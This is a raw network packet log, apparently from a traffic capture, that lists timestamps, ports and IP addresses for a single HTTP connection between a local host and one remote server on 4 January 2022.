Jan 4, 2022 19:34:08.181570053 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181579113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181592941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181616068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181617022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181638956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181654930 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181663990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181689024 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181691885 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181711912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181736946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181737900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181761026 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181767941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181787014 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181797028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181812048 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181830883 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181837082 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181858063 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181862116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181888103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181890011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181911945 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181936026 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181941986 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.181958914 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181982994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.181989908 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182008028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182017088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182030916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182054996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182065010 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182080030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182104111 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182111979 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182128906 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182132959 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182152987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182174921 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182176113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182199001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182220936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182220936 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182246923 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182248116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182271957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182290077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182297945 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182318926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182322025 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182344913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182368994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182391882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182408094 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182413101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182414055 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182439089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182462931 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182485104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182499886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182506084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182509899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182513952 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182537079 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182560921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182571888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182585955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182610035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182612896 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182632923 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182635069 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182657003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182674885 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182681084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182704926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182712078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182727098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182751894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182754993 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182779074 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182780981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182811975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182831049 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182843924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182864904 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182868004 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182890892 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182914019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182915926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182934999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182957888 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182960033 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.182984114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.182984114 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183008909 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183028936 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183032990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183053017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183058977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183082104 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183083057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183106899 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183109999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183137894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183145046 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183161020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183173895 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183186054 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183211088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183224916 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183234930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183254957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183259964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183281898 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183293104 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183305025 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183322906 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183330059 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183355093 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183355093 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183378935 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183382034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183403015 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183410883 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183428049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183439970 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183453083 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183475018 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183478117 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183499098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183521986 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183522940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183547020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183562994 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183572054 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183595896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183597088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183619976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183644056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183645964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183670044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183679104 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183695078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183718920 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183722019 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183741093 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183765888 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183768034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183789968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183790922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183814049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183836937 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183837891 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183860064 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183876991 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183885098 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183903933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183911085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183933020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183940887 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183959007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.183964968 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.183981895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184006929 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184006929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184034109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184056997 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184057951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184081078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184082985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184108019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184124947 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184134960 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184163094 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184166908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184190989 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184199095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184215069 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184233904 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184240103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184262991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184269905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184283972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184308052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184319019 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184331894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184356928 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184364080 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184381008 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184405088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184406042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184428930 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184432030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184456110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184467077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184479952 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184504986 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184504986 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184529066 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184546947 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184556007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184578896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184587002 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184603930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184629917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184631109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184653997 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184676886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184678078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184701920 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184703112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184726954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184748888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184751034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184775114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184794903 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184799910 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.184827089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.184875011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.186284065 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.190483093 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.204655886 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204710007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204735994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204761028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204787016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204809904 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204828978 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204878092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204879045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.204902887 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204927921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204927921 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.204951048 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204960108 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.204976082 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.204987049 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205003977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205018997 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205029011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205054998 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205059052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205080032 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205091953 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205104113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205113888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205131054 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205138922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205157042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205168962 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205183029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205183029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205209970 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205214024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205235958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205236912 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205261946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205261946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205286026 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205286980 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205310106 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205322981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205334902 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205349922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205354929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205375910 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205382109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205404997 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205405951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205429077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205434084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205451012 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205475092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205483913 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205507994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205518007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205533028 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205559015 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205560923 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205583096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205606937 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205609083 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205635071 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205637932 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205661058 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205672979 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205686092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205702066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205712080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205735922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205739975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205756903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205780983 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205786943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205804110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205826998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205827951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205852985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205859900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205878019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205900908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205921888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205924988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205946922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205950975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205971956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.205974102 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.205996037 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206016064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206021070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206043959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206067085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206075907 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206089973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206090927 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206113100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206123114 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206137896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206147909 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206165075 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206175089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206188917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206201077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206212044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206234932 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206237078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206262112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206285954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206286907 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206309080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206311941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206332922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206357956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206367016 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:08.206382036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206407070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:08.206407070 CET	49898	80	192.168.2.5	116.202.186.120
